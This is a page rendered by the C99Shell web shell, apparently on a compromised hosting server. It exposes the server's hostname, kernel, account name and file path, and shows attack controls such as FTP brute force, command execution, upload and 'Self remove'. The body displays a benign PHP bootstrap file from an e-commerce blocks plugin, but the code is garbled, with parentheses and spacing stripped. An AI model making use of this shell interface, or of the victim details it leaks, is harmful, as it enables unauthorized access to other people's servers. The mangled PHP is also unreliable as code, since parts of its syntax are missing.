!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/packages/kkart-blocks/src/Domain/   drwxr-xr-x
Free 293.2 GB of 429.69 GB (68.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Bootstrap.php (7.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Automattic\Kkart\Blocks\Domain;

use 
Automattic\Kkart\Blocks\Assets as BlockAssets;
use 
Automattic\Kkart\Blocks\Assets\Api as AssetApi;
use 
Automattic\Kkart\Blocks\Assets\AssetDataRegistry;
use 
Automattic\Kkart\Blocks\Assets\BackCompatAssetDataRegistry;
use 
Automattic\Kkart\Blocks\Library;
use 
Automattic\Kkart\Blocks\Installer;
use 
Automattic\Kkart\Blocks\Registry\Container;
use 
Automattic\Kkart\Blocks\RestApi;
use 
Automattic\Kkart\Blocks\Payments\Api as PaymentsApi;
use 
Automattic\Kkart\Blocks\Payments\PaymentMethodRegistry;
use 
Automattic\Kkart\Blocks\Payments\Integrations\Stripe;
use 
Automattic\Kkart\Blocks\Payments\Integrations\Cheque;
use 
Automattic\Kkart\Blocks\Payments\Integrations\PayPal;
use 
Automattic\Kkart\Blocks\Payments\Integrations\BankTransfer;
use 
Automattic\Kkart\Blocks\Payments\Integrations\CashOnDelivery;
use 
Automattic\Kkart\Blocks\Domain\Services\DraftOrders;
use 
Automattic\Kkart\Blocks\Domain\Services\CreateAccount;
use 
Automattic\Kkart\Blocks\Domain\Services\Email\CustomerNewAccount;

/**
 * Takes care of bootstrapping the plugin.
 *
 * @since 2.5.0
 */
class Bootstrap {

    
/**
     * Holds the Dependency Injection Container
     *
     * @var Container
     */
    
private $container;

    
/**
     * Holds the Package instance
     *
     * @var Package
     */
    
private $package;

    
/**
     * Constructor
     *
     * @param Container $container  The Dependency Injection Container.
     */
    
public function __constructContainer $container ) {
        
$this->container $container;
        
$this->package   $container->getPackage::class );
        
$this->init();
        
/**
         * Usable as a safe event hook for when the plugin has been loaded.
         */
        
do_action'kkart_blocks_loaded' );
    }

    
/**
     * Init the package - load the blocks library and define constants.
     */
    
protected function init() {
        if ( ! 
$this->has_core_dependencies() ) {
            return;
        }
        
$this->define_feature_flag();
        
$this->register_dependencies();
        
$this->register_payment_methods();

        
$is_rest kkart()->is_rest_api_request();

        
// Load assets in admin and on the frontend.
        
if ( ! $is_rest ) {
            
$this->add_build_notice();
            
$this->container->getAssetDataRegistry::class );
            
$this->container->getInstaller::class );
            
BlockAssets::init();
        }
        
$this->container->getDraftOrders::class )->init();
        
$this->container->getCreateAccount::class )->init();
        
$this->container->getPaymentsApi::class );
        
$this->container->getRestApi::class );
        
Library::init();
    }

    
/**
     * Check core dependencies exist.
     *
     * @return boolean
     */
    
protected function has_core_dependencies() {
        return 
class_exists'Kkart' ) && function_exists'register_block_type' );
    }

    
/**
     * See if files have been built or not.
     *
     * @return bool
     */
    
protected function is_built() {
        return 
file_exists(
            
$this->package->get_path'build/featured-product.js' )
        );
    }

    
/**
     * Add a notice stating that the build has not been done yet.
     */
    
protected function add_build_notice() {
        if ( 
$this->is_built() ) {
            return;
        }
        
add_action(
            
'admin_notices',
            function() {
                echo 
'<div class="error"><p>';
                
printf(
                    
/* Translators: %1$s is the install command, %2$s is the build command, %3$s is the watch command. */
                    
esc_html__'Kkart Blocks development mode requires files to be built. From the plugin directory, run %1$s to install dependencies, %2$s to build the files or %3$s to build the files and watch for changes.''kkart' ),
                    
'<code>npm install</code>',
                    
'<code>npm run build</code>',
                    
'<code>npm start</code>'
                
);
                echo 
'</p></div>';
            }
        );
    }

    
/**
     * Define the global feature flag.
     */
    
protected function define_feature_flag() {
        
$default_flag  defined'KKART_BLOCKS_IS_FEATURE_PLUGIN' ) ? '2' '1';
        
$allowed_flags = [ '1''2''3' ];

        if ( 
file_exists__DIR__ '/../../blocks.ini' ) ) {
            
$woo_options parse_ini_file__DIR__ '/../../blocks.ini' );
            
$flag        is_array$woo_options ) && in_array$woo_options['kkart_blocks_phase'], $allowed_flagstrue ) ? $woo_options['kkart_blocks_phase'] : $default_flag;
        } else {
            
$flag $default_flag;
        }

        
define'KKART_BLOCKS_PHASE'intval$flag ) );
    }

    
/**
     * Register core dependencies with the container.
     */
    
protected function register_dependencies() {
        
$this->container->register(
            
AssetApi::class,
            function ( 
Container $container ) {
                return new 
AssetApi$container->getPackage::class ) );
            }
        );
        
$this->container->register(
            
AssetDataRegistry::class,
            function( 
Container $container ) {
                
$asset_api        $container->getAssetApi::class );
                
$load_back_compat defined'KKART_ADMIN_VERSION_NUMBER' )
                    && 
version_compareKKART_ADMIN_VERSION_NUMBER'0.19.0''<=' );
                return 
$load_back_compat
                    
? new BackCompatAssetDataRegistry$asset_api )
                    : new 
AssetDataRegistry$asset_api );
            }
        );
        
$this->container->register(
            
PaymentMethodRegistry::class,
            function( 
Container $container ) {
                return new 
PaymentMethodRegistry();
            }
        );
        
$this->container->register(
            
PaymentsApi::class,
            function ( 
Container $container ) {
                
$payment_method_registry $container->getPaymentMethodRegistry::class );
                
$asset_data_registry     $container->getAssetDataRegistry::class );
                return new 
PaymentsApi$payment_method_registry$asset_data_registry );
            }
        );
        
$this->container->register(
            
RestApi::class,
            function ( 
Container $container ) {
                return new 
RestApi();
            }
        );
        
$this->container->register(
            
Installer::class,
            function ( 
Container $container ) {
                return new 
Installer();
            }
        );
        
$this->container->register(
            
DraftOrders::class,
            function( 
Container $container ) {
                return new 
DraftOrders$container->getPackage::class ) );
            }
        );
        
$this->container->register(
            
CreateAccount::class,
            function( 
Container $container ) {
                return new 
CreateAccount$container->getPackage::class ) );
            }
        );
    }

    
/**
     * Register payment method integrations with the container.
     *
     * @internal Stripe is a temporary method that is used for setting up payment method integrations with Cart and
     *           Checkout blocks. This logic should get moved to the payment gateway extensions.
     */
    
protected function register_payment_methods() {
        
$this->container->register(
            
Stripe::class,
            function( 
Container $container ) {
                
$asset_api $container->getAssetApi::class );
                return new 
Stripe$asset_api );
            }
        );
        
$this->container->register(
            
Cheque::class,
            function( 
Container $container ) {
                
$asset_api $container->getAssetApi::class );
                return new 
Cheque$asset_api );
            }
        );
        
$this->container->register(
            
PayPal::class,
            function( 
Container $container ) {
                
$asset_api $container->getAssetApi::class );
                return new 
PayPal$asset_api );
            }
        );
        
$this->container->register(
            
BankTransfer::class,
            function( 
Container $container ) {
                
$asset_api $container->getAssetApi::class );
                return new 
BankTransfer$asset_api );
            }
        );
        
$this->container->register(
            
CashOnDelivery::class,
            function( 
Container $container ) {
                
$asset_api $container->getAssetApi::class );
                return new 
CashOnDelivery$asset_api );
            }
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0994 ]--